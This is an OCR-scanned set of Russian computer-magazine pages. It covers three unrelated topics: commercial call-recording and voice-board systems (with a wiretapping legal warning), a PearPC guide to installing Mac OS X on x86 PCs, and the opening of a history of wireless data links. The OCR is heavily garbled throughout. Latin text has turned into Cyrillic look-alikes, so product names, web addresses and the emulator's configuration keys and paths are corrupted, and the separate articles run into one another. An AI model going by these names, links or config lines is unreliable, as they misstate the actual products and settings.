Голосовые платы имеют для сжатия ана- 
логового сигнала аппаратный кодек, обеспе- 
чивающий сжатие довольно бедного сигнала 
объемом около 3-5 Мб/час, поэтому не тре- 
буют ресурсов процессора при записи. Бан- 
ки данных не занимают много места, и ауди- 
оинформация может накапливаться месяца- 
ми без существенного потребления ресур- 
сов. Наиболее популярные алгоритмы сжа- 
тия - РСМ, АОРСМ, С8М, С.7хх. Несколько 
установленных в параллель плат вполне мо- 
гут работать вместе, даже если это разные 
модели одной фирмы. А если ими управляет 
один общий драйвер, то они определяются 
как одна плата с соответственно пронумеро- 
ванными каналами. 

Чаще всего юзаются системы, которые не 
являются аппаратными аудиорегистраторами 
в полном смысле этого слова, - работают они 
автономно, ось на них упрощенной версии, и 
все лишние функции типа ОШ отключены. 

.і СПРУТЫ и эхопоты. 

ПОПНЫИ СУНДУК НЕЗОБУДОК 

Как и в других областях нашей жизни, в Рос- 
сии поначалу никто не умел делать голосо- 
вые платы. За рубежом покупали за дикие 



денежки Оіаіодіс РгоІіпе/2Ѵ (большая крас- 
ная двухканальная карта на 18А-шине, очень 
популярная и по сей день, может ставиться 
в параллель до 1 6 штук и все на одном пре- 
рывании! Конфигурируется джамперами, 
невидима из винды, вместо драйвера за- 
пускается сервис с админскими правами!) и 
писали под нее ПО с применением 80К 
разработчика. С этого и началась история 
отечественных изысканий в этой сфере. 
Многие компании (новгородский «Зенит», 
московские «Светец», «МоѵаѴох» 
(ш'м.штш), «Ланит») до сих пор делают 
свои комплексы аудиорегистрации на таких 
карточках по причине их небольшой стои- 
мости и высокого качества. Но в принципе, 
прогресс в области железа на этот раз в на- 
шей стране удался. Начались разработка и 
производство российских голосовых плат. 
Принципиально они повторяли зарубежные 
образцы, разработчики поначалу также не 
писали ПО под такие карточки, а только 
предлагали 80К. Хотя уже тогда четко выри- 
совывались узкоспециализированные компа- 
нии, перспективы которых лежали в какой- 
нибудь одной из областей компьютерной те- 
лефонии, будь то аудиорегистрация, конфе- 
ренц-связь, ІР-телефония и т.д. Много сил 
затрачивалось на разработку популярных и 
известных теперь комплексов. 

Из доживших до наших дней следует от- 
метить «Незабудку» - разработку питерско- 
го Центра речевых технологий (ЦРТ, 
шѵѵ.$реес1ірго.ги). Как и большинство подоб- 
ных комплексов, она состоит из набора 
плат, ПО «Незабудка», документации и вся- 
кого рода усилителей телефонных каналов. 
На сегодняшний день это самый раскручен- 
ный образец, принятый на вооружение 
МВД. Платы собственной разработки в 
обычном ассортименте (аналоговые и циф- 
ровые интерфейсы). Имеется разработан- 
ный на той же основе внешний модуль, 
подключаемый к ПК по интерфейсу ІІ8В. 
Есть система шумоочистки. «Незабудка» 
предназначена не только для записи, но и 
для расшифровки записанной информации, 
поэтому в ее состав входит транскрайбер - 
модуль, в котором оператор распечатывает 
записанный и воспроизводящийся у него в 
наушниках разговор. Большинство прочих 
комплексов не имеют такого рода модулей- 
транскрайберов, с успехом заменяя их лю- 
бым текстовым редактором. 

Надо сказать, что оператор-расшифров- 
щик - не сумасшедший долбильщик по кла- 
вишам, поэтому в «Незабудке», как и во 
многих других комплексах аудиорегистра- 
ции, есть поддержка управления воспроиз- 



— 

Друг, помни, лю- 
бые несанкциони- 
рованные действия 
по прослушиванию 
каких-либо разго- 
воров подпадают 
под действие соот- 
ветствующих зако- 
нов. Статьи 23 
Конституции РФ и 
1 38 УК РФ никто не 
отменял. Кодекс 
мы, вообще-то, 
должны чтить! :) 




^ Иир;//агсѵѵ. 
сотріек.ги/іеіеріі- 
опу - сайт, посвя- 
щенный компью- 
терной телефонии. 
Здесь рассмотре- 
ны вопросы, каса- 
ющиеся плат 
Оіаіодіс и разрабо- 
ток на их основе. 

^ ИПр://(1іаІодіс. 
СОШ - сайт компа- 
нии-основательни- 
цы всего этого 
шпионского безу- 
мия. Пожизненная 
гарантия делает их 
платы... нет-нет, 
не вечными, а ско- 
рее, просто доро- 
гими ;). 
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8ТС-Н219(0) - внешний ІІЗВ-модуль решает пробле- 
му расширяемости и вечно открытого системника 




Когда-то так апгрейди- 
лось любое железо... 
Плата Ольха-9Р/ОК 
и мезонин к ней 



ведением с помощью педали через СОМ- 
порт. Трех команд - «воспроизведение», «па- 
уза» и «откат назад на несколько секунд» - 
вполне достаточно. 

Основным недостатком этой системы 
можно считать крайне высокую цену. Оно и 
понятно, с такими заказчиками эта система 
просто обязана быть супермощной и, соот- 
ветственно, супердорогой. 

«Спрут-7» - появившийся совсем недавно, 
но уже второй по известности комплекс от 
московской компании «АГАТ-РТ» (ѵѵѵѵѵѵ.адаігі.ги). 
Некоторое время назад эта компания вышла 
на рынок с ассортиментом плат компьютер- 
ной телефонии «Ольха». Поначалу они пред- 
лагались с собственным 50К («А1с1ег-80К»), 
после чего компания решила сама расши- 
рить ассортимент предлагаемой продукции 
и написала соответствующее ПО под свое 
железо. Комплекс постоянно совершенству- 
ется, каждый заказчик вполне может предло- 
жить добавить актуальное, по его мнению, 
дополнение. «Спруг-7» используется на дис- 
петчерских пультах московских больниц. В 
офисе самой компании «Спрут» работает 
вместе с офисной АТС в режиме, демонстра- 
ционном для покупателей, но самом что ни 
на есть серьезном для персонала. Служба 
техподдержки, наверно, испытывает чудеса 
недопонимания с клиентами, усугубленные 
взаимной вежливостью. 

В платах «Ольха» есть одна интересная осо- 
бенность - они могут быть модернизированы 
самими пользователями. С помощью так на- 
зываемых мезонинных модулей, или просто 
мезонинов. Количество записываемых каналов 
может быть расширено. Более того, расширен 
спектр интерфейсов. На самой плате есть 
разъемы для подключения этих менее дорогих 
модулей. Гибкое конфигурирование и высокая 
масштабируемость этих плат сделали их 
очень популярными в последнее время. 

Аудиорегистраторы РН-200, РН-500, РН- 
620 от группы компаний 8ТТ (ѵѵш.$-Нш) так- 
же используют в своей работе мезонины. 
Этому классу аудиорегистраторов свойствен- 




Аудиорегистратор компании «Мономах» имеет много 
интересных настроек по компрессии и динамической 
обработке записей 




Центр речевых технологий активно 
занимается исследованиями в области 
идентификации по голосу. 



ны модернизируемость и расширяемость: 
большая их часть работает на любом типе 
карт этого производителя, даже на новейших 
моделях. Старой, проверенной разработкой 
8ТТ является аудиорегистратор «Сундук». 

«8ТВ-Эхолот» - разработка компании 8ТВ 
из Санкт-Петербурга (шѵѵ.$ІЬ.$р.ш). Представ- 
ляет собой обычный аудиорегистратор, про- 
дается по сей день по не самым высоким 
ценам и успешно справляется со своими за- 
дачами. Интерфейс является стандартным 
для такого рода комплексов и может послу- 
жить образцом для создания любого другого 
такого продукта. Кроме того, есть возмож- 
ность работы без специализированных голо- 
совых плат. Вместо них вполне могут быть 
использованы обычные звуковые карточки. 
Лучше брать полнодуплексные, дабы не 
пришлось жертвовать качеством записи или 
воспроизведения. Банки аудиоданных управ- 
ляются СУБДАссезз. Метепіо Могі! Ставь 
Ассезз на компьютер с «Эхолотом», если не 
хочешь разом лишиться всего записанного! 
«Анрекогнайз датабасе формат» будет прес- 
ледовать тебя! 

Среди оставшихся популярных решений 
можно выделить: 

А «Фобос», ОН же «РН0В08». Кучу других 
названий этой системы можно найти на сай- 
те фирмы-разработчика ѴосогсІ Теіесот 
ѵѵш.ѵосогіги. Регистратор выполнен на платах 
«Фобос» той же компании и использует ко- 
дек Апаіод Оеѵісез. 

А «Интерактивное телевидение» компании 
«МТУ-Информ» (ѵѵш.тіи.ги). Применяется для 
опросов телезрителей в программе «Итоги». 

А «Аудиорегистратор» (самое непритяза- 
тельное название). Разработчик - украинская 
компания «Мономах» (Іі1ф://еѵгіка.сір.иа). 

А «ЭХО-ПЛЮС» разработки компании 
«Алексэн» (ѵѵш.аіехеп.ги). 

А Новгородская компания «Зенит» (сайт 
уже умер давным-давно) выпускает комплек- 
сы аудиорегистрации на заказ. «Береста» - 
один из таких. Все стандартно, удобно, сер- 
вер баз данных - М8 801 8егѵег. Эта систе- 
ма внедрена в ЦКБ. Также этой компанией 
создано много разработок для военных. 
Комплексы работают как с платами «Ольха», 
так и с «Оіаіодіс». 

Дополнительные фичи аудиорегистрирую- 
щей аппаратуры представляют собой все- 
возможные программные и аппаратные шу- 
моочистители, алгоритмы управления дина- 



микой звука, даже целые звуковые редакто- 
ры, алгоритмы определения наличия голоса 
в канале (ѴОХ) и определители номера. Поэ- 
тому не рекомендуется от нечего делать зво- 
нить на двузначные телефоны с домашнего 
номера. Хотя если вы набрали последова- 
тельно 01 , 02, 03, то вечеринка удалась! :). 

Центр речевых технологий активно зани- 
мается исследованиями в области иденти- 
фикации по голосу, и притом небезуспешно. 
Из речи вылавливаются некоторые ключевые 
слова, при появлении которых надо начинать 
запись, ведутся разработки в области синте- 
зирования человеческого голоса (а то нар- 
рэйтор виндовый со своим «амсмоля-намс- 
моля» уже замучил). Не редкость на аудио- 
регистрирующих комплексах выходы для 
датчиков сигнализации, хотя чаще они 
встречаются в интегрированных аудио- и ви- 
деорегистрирующих комплексах. По сигналу 
может быть включена запись или, например, 
повышено ее качество. Кстати, сигналом в 
датчиках, кто не знает, считается разрыв це- 
пи, равноценный перерезанию провода. Так 
что шпионские фильмы с пресловутыми 
«красными проводками» - сущая провокация. 

Промышленные аудиорегистраторы на сот- 
ню-полторы каналов, смонтированные исклю- 
чительно на железной составляющей (ну, мо- 
жет быть, на ядре 98-й винды или Линуха, за- 
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ВПСШШПЕИ! 




шитом на флешку по методу биоса), устанав- 
ливаются для прослушки большого количест- 
ва телефонных аппаратов и могут по месяцу 
накапливать информацию. Они исключитель- 
но надежно себя ведут и вообще выпускаются 
в небольших количествах на заказ. 

Много каналов требуется и при несекрет- 
ной записи одновременно нескольких источ- 
ников. Например, для конференции или 
эфир-дайджеста - записи и расшифровки 
текстов радиопередач по различным кана- 
лам спутникового, цифрового или коротко- 
волнового вещания. 

Всю вышеперечисленную аппаратуру и 
программулинки вполне можно приобрести 
за не очень большие денежки, начиная от 
200 у.е. за пару-четверку каналов записи. А 



если ты маньяк-хардкорщик- 
кодер, то самостоятельно на- 
пишешь ПО к доставшейся 
тебе на халяву недорогой и, 
возможно, уже не выпускаю- 
щейся голосовой плате. Это 
несложно сделать с приме- 
нением 50К или набора 
классов для Оеірбі, Виіісіег, 
ѴС++. Такой комплекс фир- 
ма Оіаіодіс оставила после 
себя. Он называется генера- 
тор приложений ОТ АОЕ 
(Сотриіег Теіербопу 
Арріісаііоп Оеѵеіортепі 
Епѵігоптепі) и представляет 
собой скриптовый язык с ви- 
зуальной средой разработки. Такое узконап- 
равленное ПО легче писать на нем, чем на 
С++. Драйверы плат сами по себе содержат 
библиотеки, всевозможные инструкции и 
описания к ним. Достаточно закодить интер- 
фейс и обработку событий к кнопкам. Оста- 
навливает только то, что голосовые платы, 
ввиду их дороговизны, используются долго и 
меняются редко, поэтому на рынке бэушную 
голосовую плату даже 96-го года выпуска 
просто так не встретишь. Вариант с исполь- 
зованием обычной звуковой платы ограничи- 
вает сверху количество записываемых кана- 
лов, а несколько плат в один компьютер, 
чтобы они не начали друг друга пинать, 
можно поставить только при счастливом по- 
ложении небесных светил. 



А ВЫВЕДЕНИЕ 

Что же делать, если у тебя есть желание 
создать свой домашний аудиорегистратор, а 
денег, даже таких небольших относительно- 
го такого класса устройств, нет? Писать под 
аудиокарты, работать с модемом, хотя 
больше одного канала записи с входа моде- 
ма или микрофона получить вряд ли удаст- 
ся. Да и процессор при кодировании запи- 
санного в трЗ или одд будет серьезно гру- 
зиться. Попробовать можно, хотя зачастую 
это дело бросают, даже анонсировав гото- 
вый образец. 

Тем не менее, в последнее время обеспе- 
чению безопасности уделяется все больше 
внимания. Системы видеонаблюдения и ау- 
диозаписи устанавливаются не только на 
предприятиях, но и в домах, и постепенно 
такая аппаратура дешевеет в разы. Так что 
через пару лет можно будет свободно купить 
простенький аудиорегистратор для домаш- 
него или мелкоофисного использования, 
чтобы сделать многоканальный автоответчик 
или организовать собственный переговор- 
ный пункт с Багдадом. 

Да, а звонить в службы 01 , 02, 03 без 
особой надобности не рекомендуется. Пока 
это дело подсудное, а через некоторое вре- 
мя станет еще и неэффективным. Биг Бра- 
зер вотчин ю! :) ЗС 

ІІІІІІІІІІІІІІІІІ 
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.і НЕМНОГО ИСТОРИИ 

С амые продвинутые знают про 
Вазііізк II, однако этот эмуля- 
тор был выпущен пять лет на- 
зад и эмулировал совсем мед- 
ленный по нынешним меркам 
процессор 68040 (предшест- 
венник РоѵѵегРС). Соответ- 
ственно, максимум, что можно 
поставить на РС с помощью Вазііізк II, - 
это Мае 05 8.1 . Неинтересно. 

Группа энтузиастов предложила протрамму 
с открытым исходным кодом РеагРС 
(Іійр://реагрс.$оигсе(огде.пеі), которая позволяет ПК 
с процессорами ІпіеІ и АМО использовать ар- 
хитектуру РоѵѵегРС (пока серию СЗ). Разра- 
ботка заняла 1 8 месяцев, протрамма состоит 
примерно из 70 000 строк кода. Софтина мо- 
жет работать с разными версиями Ііпих и 
ѴѴіпсІоѵѵз. Чтобы установить Мае 05 X на АШІоп 
1 .3 МНі, требуется около четырех часов. 

^ что НОИ стоит дои 

ПОСТРОИТЬ? 

Итак, что же такое эмулятор? Эмулятор ар- 
хитектуры - это приложение, позволяющее 
протраммно эмулировать архитектуру про- 
цессоров другой платформы, то есть запус- 
кать протраммное обеспечение для другой 



платформы на твоем компьютере без допол- 
нительното аппаратното обеспечения. 

В этой статье я расскажу о том, как запус- 
тить операционную систему Мае 05 X 10.2 
Задиаг на х86-совместимой платформе. 

Нам потребуется: 

О. РеагРС версии 0.3 и выше. 

О. Виртуальный жесткий диск размером 
3 СЬ и более. 

Ѳ. 05 ѴѴіпсІоѵѵз 98/Ме/2000/ХР. 

О. Процессор ІпіеІ или АМО с тактовой 
частотой от 850 МН 2 . 

©. 128 МЬ ВАМ, 256-1024 МЬ рекомен- 
дуется. 

Ѳ .Желательно, 7200 грт НОО с подде- 
ржкой ІІАТАЮО. 

О. Дистрибутив Мае 05 X ѵ1 0.x. 

©. Протрамма для распознавания 
Масіпіозб дисков - МасОгіѵе 
(ѵѵш.[тіесІіа[оиг.сот). 

©. Протрамма для обмена файлами с 
виртуальным устройством - ТгапзМас 
(ѵѵш.а$у.сот). 

©. Приложение для снятия 150-образов - 
11кга150 (ѵѵш.е 2 Ь$у$Іе[ті$.сот). 

Л ПРИСТУПИИ 

Для начала необходимо установить МасОгіѵе, 
чтобы можно было прочитать установочные 



диски, иначе ѴѴіпсІоѵѵз их просто не увидит. 
Далее с помощью 11кга150 снимаем образы 
этих дисков. Я рекомендую назвать их 
тасозссІ*.ізо, где «*» - номер установочного 
диска. К примеру, тасозссП .ізо, 
тасозссІ2.ізо и т.д. 

Распаковываем РеагРС, например в папку 
С:\РеагРС (подкаталогов быть не должно). 

Распаковываем в эту же папку виртуаль- 
ный жесткий диск. Туда же копируем или пе- 
ремещаем образы установочных дисков. На 
этом самая простая часть установки завер- 
шена. Теперь потребуется создать конфиту- 
рационный файл для приложения РеагРС. 
Открой любой текстовый редактор и создай 
файл в каталоте протраммы с именем 
озх.ррс. Добавь в нето следующие строки: 



Объем КАМ 


Значение тепіогу_$І2е 


128 МЬ НАМ 


0x8000000 


256 МЬ НАМ 


0x10000000 


384 МЬ НАМ 


0x18000000 


512 МЬ НАМ 


0x20000000 


640 МЬ НАМ 


0x28000000 


768 МЬ НАМ 


0x30000000 


Зависимость значений переменной 
от величины оперативки 



36 




ррс_8Іаі1_ге50Іиііоп = «800x600x15». Эта 
строка определяет размеры окна и цветовую 
палитру. Доступные режимы: 640x480x15, 
640x480x32, 800x600x15, 800x600x32, 
1024x768x15, 1024x768x32. Для установки 
советую поставить первый режим 
(640x480x15). Обрати внимание, глубина 
цветовой палитры - 15, а не 16 бит. 

гесІгаѵѵ_іп1егѵаІ_т5ес = 40. Интервал в 
миллисекундах между двумя обновлениями 
изображения. Чем меньше значение данной 
переменной, тем выше частота обновления 
изображения, но ниже производительность. 
Возможные значения [10.. 500]. Для установ- 
ки рекомендую поставить 500, тем самым 
обеспечивая большую производительность и 
меньшее количество затраченного времени, 
после установки - [10.. 100]. Выбор зависит 
от производительности твоего компьютера и 
собственных предпочтений. 

кеу_іоддІе_тоизе_дгаЬ = «Р12». Клавиша, 
активирующая/деактивирующая работу мыши. 

кеу_іоддІе_^иІІ_5Сгееп = «АІНВеШгп». Ком- 
бинация клавиш для перехода в полноэкран- 
ный режим. 

ргот ЬооітеІІіосІ = «аиіо». Метод загруз- 
ки. Варианты: 

- Аиіо - загрузка из первого найденного 
загрузочного раздела. 

- Зеіесі - выбор загрузочного раздела. 

- Рогсе - загрузка из локального файла 
рготіоаб^ііе. 

** ргот епѵ тасбагдз = «». Параметры 
загрузчика, «-ѵ» - для подробного варианта 
загрузки. 

** ргот сігіѵег дгаріііс = «ѵібео.х». Графи- 
ческий драйвер. Я настоятельно не рекомен- 
дую изменять эту строку. 

** раде_іаЫе_ра = 104857600. Задает 
размер файла подкачки. Если не знаешь, 
лучше не трогать. 

** сри_рѵг = 0x00088302. Регистрация вирту- 
ального процессора. Изменяй эту строку только 
в том случае, если знаешь, что делаешь. 

тетогу_8Ііе = 0x8000000. Объем опера- 
тивной памяти. По умолчанию равен 128 
Мб, но если есть возможность, я рекомен- 
дую увеличить это значение. Варианты смот- 
ри в таблице. 

рсі_ісІе0_таз1ег_іпзіаІІесІ = 1 . 
рсі_ісІе0_таз1ег_ітаде = 
"с:\РеагРс\тасозх_ЗдЬ.ітд". 

рсі_ісІе0_таз1ег_іуре = "бб". Указываем 
наличие ведущего виртуального диска, его 
тип ("бб" - жесткий диск, "сбгот" - СО-ВОМ) 
и путь к нему. 
рсі_ібе0_зІаѵе_іпз1аІІеб = 1 . 
рсі_ібе0_з1аѵе_ітаде = 

"с:\РеагРс\тасозсб1 .ізо". 

рсі_ібе0_з1аѵе_іуре = "сбгот". Указываем 
наличие ведомого виртуального диска и путь 
к образу. 

** рсі_бІ8139_іпзУІеб = 0. Если ты бу- 
дешь работать с сетью, то тебе потребуется 
приложение ОрепѴРМ ТАР ѴѴіп32 Ѵігіиаі 
Абаріег. Значение рсі_і1І8139_іпз1аІІеб в этом 
случае будет равно 1 , если же ты не плани- 
руешь работу с сетью, оставь 0, значащийся 
по умолчанию. 

** рсі_бІ8139_тас = "бе:аб:са:^е: 12:35". 
МАС-адрес адаптера при использовании сети. 

рсі_изЬ_іпзУ Іеб = 1 . Наличие ІІЗВ-порта. 

1 - да. о - нет. 

** пѵгат_^іІе = "пѵгат". Определяет располо- 
жение МѴРАМ-файла с относительным путем. 



Теперь следует выполнить 
С:\Реагрс\ррсозх.ррс. Если ты сделал все 
приведенные выше шаги правильно, то дол- 
жен увидеть два окна: консоль РеагРС, кото- 
рая отображает все текущие процессы, и са- 
мо окно эмулятора. Выбираем «раіііііоп... о^ 
'сбготО' ...» 

А УСТРНОВКР 

Итак, запустился инсталлятор. Для начала 
программа откроет диалоговое окно с выбо- 
ром языка. Русскоязычный интерфейс отсут- 
ствует. После этого ты увидишь привет- 
ствие. Далее следуют сведения об установке 
и системных требованиях. Обрати внимание 
на то, что требуется процессор ОЗ или 04. 
РеагРС может эмулировать пока только про- 
цессоры ОЗ. Нам этого достаточно, чтобы 
установить Мае 08 X. После этого шага мас- 
тер установки попросит выбрать жесткий 
диск. Если ты качал уже отформатированный 
хард, то выбирай его, если нет - открой дис- 
ковую утилиту (Рііе -> Оізк иіііііу) и отформа- 
тируй с помощью нее свой виртуальный 
винт. Затем инсталлятор предложит метод 
установки Еазу ІпзіаІІ. Если у тебя есть лиш- 
ние 5 часов - можешь соглашаться, если нет 
- нажми Сизіотііе. После этого откроется 
окно Сизіот іпзУІ: 

АббіііопаІ арріісаііопз - приложения іТипез, 
АсгоЬаі геабег, іРбоіо, іМоѵіе и другие. 

В80 зиЬзузіет дает возможность работать 
с командной строкой В80-систем, также в 
этот пакет входят средства разработчика. 

Аббіііопаі ргіпіег бгіѵегз - драйверы для 
некоторых принтеров. 

Ропіз ^ог аббіііопаі Іапдиадез - шрифты 
для дополнительных языков. 

Аббіііопаі Азіап Ропіз - азиатские шрифты. 

Іосаіііеб Іііез - файлы региональных наст- 
роек. 

Сними флажки с Аббіііопаі Ргіпі Огіѵегз, 
Аббіііопаі Азіап Ропіз и Іосаіііеб Рііез. 

Выбрав то, что нужно, и нажав ІпзІаІІ, за- 
пасись терпением. Установка продлится 
2,5-8 часов, в зависимости от производи- 
тельности твоего компьютера. 

Когда установщик потребует установоч- 
ный диск #2, просто закрой РеагРС и изме- 
ни в конфигурационном файле значение 
рсі_ібе0_з1аѵе_ітаде на 
"с:\Реагрс\тасозсб2.ізо". 



.і ПЕРЕНОС ФПЙПОВНП. 

виртуппьноЕ устройство 

Для переноса файлов на виртуальное уст- 
ройство воспользуйся программой ТгапзМас 
ѵб.1 (ѵѵш.а$у.сот). 





После запуска приложения в списке Мае 
бгіѵе выбирай Ѵоіите ітаде Іііе. В появив- 
шемся диалоговом окне укажи путь к вирту- 
альному жесткому диску. Выдели нужные 
файлы, на другой панели открой папку, в ко- 
торую будет происходить копирование. В 
контекстном меню выбирай «Сору зеіесіеб». 

.ІЕСПИУТЕБЯНЕПОПУЧИПОСЬ 

О. Проверь правильность указания пути к 
образам дисков. РеагРС поддерживает толь- 
ко *.150 образы СО дисков и *.1МС образы 
жестких дисков. 

Ѳ. Проверь, является ли твой 150-образ 
установочного диска загрузочным. Не все 
программы снимают загрузочный сектор 
диска. Утилиты ІІІІгаІЗО 7.21 вполне доста- 
точно для этого действия. 

®. Проверь, не выходят ли значения не- 
которых переменных за допустимые рамки. 

О. Проверь значение параметра 
тетогу_зііе. Не устанавливай его значение 
равным количеству твоей оперативной памяти. 
Также неверно указывать тетогу_зІ 2 е в шест- 
надцатеричной системе счисления. То есть 
нужно писать не тетогу_зііе = 128, а тето- 
гу зііе = 0x10000000. Не указывай размер опе- 
ративной памяти больше фактического. 

©. Проверь аппаратные ресурсы своего 
компьютера, а также конфликты прерываний. 

О. Проверь размер виртуальной памяти. 

О. Проверь, не поврежден ли файл эму- 
лятора или образы дисков. 

О. Рекомендую скачать образы жестких 
дисков именно с реагрс.$оигсеІогде.пеІ, так как 
на них уже имеется файловая система Арріе 
НР8+, необходимая для установки Мае 08 X. 
В противном случае придется воспользо- 
ваться утилитой Оізк иіііііу (ІпзІаІІег -> Ореп 
Оізк иіііііу). 

О. Сравни ресурсы своего компа с мини- 
мальными требованиями. 

®. Проверь объем свободного дискового 
пространства. 

®. Если вышеприведенные советы не по- 
могли, обратись за поддержкой на форумы 
ѵѵш.реагрс.пеі (епд) или ѵѵш.тутас.ги (гиз). 






А Некоторый софт, 
упоминающийся в 
статье, ты можешь 
найти на нашем 
диске. Некоторый - 
это потому, что 
МасОЗ X мы не вы- 
ложили по понят- 
ным причинам ;). 



Строки, поме- 
ченные «**», при- 
ведены для опыт- 
ных пользовате- 
лей. Их можно не 
добавлять - значе- 
ние этих строк бу- 
дет принято по 
умолчанию. 



А РеагРС поддер- 
живает только вир- 
туальные жесткие 
диски с расшире- 
нием ітд и вирту- 
альные СО-диски 
с расширением ізо. 

А Путь С:\РеагРС, 
а также имена об- 
разов дисков при- 
ведены для приме- 
ра, при использо- 
вании других путей 
и имен образов 
изменит соответ- 
ствующие строки 
конфигурационного 
файла. 
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шповооіаі 



И еповек издавна стренипся преодопевать преграды и избавляться ат всяческих сков. Ея|е Пеонардо да Винчи разработал 

конструкцию летательного аппарата, приводииого в движение физической силой. П Циолковский веками позже вывел теорию 
попета в космос с применением реактивной тяги. В компьютерной индустрии все аналогично. Вот еще, казалось бы, недавно мы 
довопьствовапись первыми модемами, передающими данные на смешной по нынешним меркам скорости в 2400 бит/с. О сейчас мы 
серфии инет на копоссапьных скоростях и при зтои еще пытаемся избавиться от каждого лишнего кабеля. Ну а почему бы, собственно, и 
нет, если зто возможно? 



ВСЕ О ТЕХНОЛОГИЯХ БЕСПРОВОДНОЙ ПЕРЕДОЧИ ДОННЫХ 



А 



.іоднрко экзотика 

О чень давно, еще в 50-е годы 
прошлого века, сразу нес- 
колько НИИ по всему миру 
поставили перед собой зада- 
чу разработать высокоэффек- 
тивное средство передачи 
данных без использования 
проводного соединения. Взя- 
лись за эту задачу вполне основательно. По 
крайней мере, наработок в этой области 
было великое множество. Ни о каком доми- 
нирующем положении радиочастот тогда 
даже не заикались. Пробовали буквально 
все: и радио, и инфракрасный спектр, и да- 
же соединение с помощью лазера. 

Передача данных с помощью инфрак- 
расных лучей по иронии судьбы не получи- 
ла должного распространения. На то было 
много причин, весомых и не очень. Попу- 
лярности во многом мешал стереотип по 
поводу тормознутости такого способа пе- 
редачи данных, сложившийся из-за жестко 
ограниченной пропускной способности 
портов, к которым были подключены ИК- 
девайсы. На самом же деле потенциал у 
технологии был. И знаешь, отнюдь не ма- 
ленький. Вопреки всем предубеждениям, 
скорость передачи данных в инфракрасном 



диапазоне теоретически достигает ни мно- 
го ни мало, а целых 10 Гбит/с! Разумеется, 
столь баснословная цифра - это чистей- 
шей воды теория. На практике удается вы- 
жать, дай бог, сотую часть этого потолка, 
так как скорость одновременно зависит от 
нескольких факторов, и прежде всего от 
погодных условий. Снег, дождь или, того 
хуже, туман могут значительно ухудшить 
видимость и таким образом снизить эф- 
фективность диапазона инфракрасной свя- 
зи. При этом далеко не последнюю роль 
играет текущее атмосферное давление, 
влажность и особенно молекулярный сос- 
тав воздуха. Недооценивать последний 
фактор ни в коем случае не стоит, так как 
при определенных обстоятельствах атмос- 
фера, оставаясь прозрачной в видимом 
спектре, может оказаться совершенно неп- 
розрачной в каком-то из участков инфрак- 
расного спектра. Другими словами, ты мо- 
жешь отлично видеть передатчик на уда- 
ленной стороне, но это еще отнюдь не га- 
рантирует максимальную скорость переда- 
чи данных, да и вообще возможность пе- 
редачи в целом. Разработчики технологии 
и конкретного оборудования должны были 
учитывать не только постоянные измене- 
ния погодных условий, но и метаморфозы 




Смотреть спереди на такие девайсы ни в коем слу- 
чае нельзя. Лазерное излучение ты все равно не уви- 
дишь, зато сетчатку глаза повредишь в момент! 



СОСТОЯНИЯ атмосферы, связанные с про- 
мышленными выбросами, и т.п. 

Тем не менее, при всех сложностях и 
проблемах, у технологии и ее нынешних ре- 
ализаций, которые хотя и редко, но вполне 
метко применяются, есть масса плюсов. 
Первостепенное значение имеет тот факт, 
что технология не использует дефицитные 
радиочастоты. А значит, установка беспро- 
водных оптических систем возможна даже в 
зонах с высокими помехами от радиообору- 
дования. Немаловажно и то, что подобные 
девайсы не попадают под действие феде- 
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рального закона, оговаривающего исполь- 
зование радиочастот. Следовательно, отпа- 
дает всякая необходимость приобретать со- 
ответствующие лицензии. 

Попытки в области передачи данных с по- 
мощью лазера хотя и привели к ощутимым 
результатам, но так и не вывели технологию 
на потребительский рынок. Применяемые 
принципы во многом повторяют идею пере- 
дачи данных с помощью ИК- лучей. Как ла- 
зерные, так и ИК-системы устанавливают со- 
единение исключительно по принципу «точ- 
ка-точка», причем и приемник, и передатчик 
должны находиться в зоне прямой видимос- 
ти. Кардинальные отличия в технологиях, как 
ты уже, наверное, догадался, заключаются в 
различных передающих и принимающих эле- 
ментах. 

Примечательно то, что ни одна другая 
беспроводная технология передачи не может 
предложить такую конфиденциальность свя- 
зи. Перехватить сигнал ИК- и лазерных сис- 
тем можно только путем установки специ- 
альных сканеров-приемников в луч от пере- 
датчиков. А выполнить это нереально из-за 
узкой направленности луча. 

Так что потенциал у обеих технологий ну 
прямо-таки недетский. Тем не менее, о 
массовом их распространении, пожалуй, 
рано пока даже заикаться. Виной тому не- 
вероятная дороговизна оборудования. 
Несмотря на происхождение девайсов, 
будь то отечественные или иностранные 
разработки, их стоимость пока очень и 
очень велика. И причина кроется вовсе не 
в прихоти производителей, а в реальной 
дороговизне используемых для сборки 
компонентов. Но без них, как ни крути, ни- 
чего хорошего не выйдет. 




Детище Рязанского государственного завода, атмос- 
ферная оптическая линия связи МОСТ 100/500 - нас- 
тоящая сказка для тех, кому нужна быстрая и ста- 
бильная связь на расстоянии более километра 




Так выглядело первое радио. Ццва ли Попов тогда 
мог предположить, что через какую-то сотню лет с 
его помощью будут передавать данные со скоростью 
в несколько Мбит/с 





Режим «Аб-Пос» сойдет, если нужно соединить два- 
три устройства 



.ІР ПОЧЕМУ БЫ НЕ РРДИО? 

Радиосвязь была изобретена А. С. Поповым 
еще в позапрошлом веке. Разработка же 
единого стандарта ІЕЕЕ 802.1 1 , регламенти- 
рующего передачу данных по радиоканалу, 
началась относительно недавно - в 1990 го- 
ду. Сформированная для этого дела специ- 
альная группа должна была разработать еди- 
ные правила и спецификации для произво- 
дителей радиооборудования, работающего 
на частоте 2,4 ГГц с пропускной скоростной 
способностью в 1 и 2 Мбит/с. 

Работали над стандартом долго. Его окон- 
чательный вариант был ратифицирован лишь 
в 1997 году. И хотя ІЕЕЕ 802.1 1 являлся пер- 
вым единым стандартом для продуктов 
ѴѴІАМ, что уже само по себе было невероят- 
ным прорывом, заложенная в нем первона- 
чальная пропускная способность к тому вре- 
мени уже морально устарела и не могла 
удовлетворить потребности даже домашних 
пользователей. Разработчики вынуждены 
были сразу же приступить к разработке рас- 
ширения для имеющегося стандарта, чтобы 
адаптировать технологию к жестким требо- 
ваниям сегодняшнего дня. Но обо всем по 
порядку. 

.і типы БЕСПРОВОДНЫХ СЕТЕЙ 

Стандарт 802.1 1 описывает всего два типа 
объектов. Первым является клиент, который, 
как правило, представляет собой компьютер 
с беспроводной сетевой картой. Второй объ- 
ект - точка доступа (Ассезз Роіпі, АР), кото- 
рая является своеобразным коммутатором, 
связующим все имеющиеся беспроводные 
интерфейсы. 

В зависимости от используемого обору- 
дования, беспроводная сеть может работать 
в двух режимах: 

1 ) Режим «Аб-бос» (или «точка-точка») 
подразумевает, что сеть состоит из некото- 
рого числа компьютеров, оборудованных 
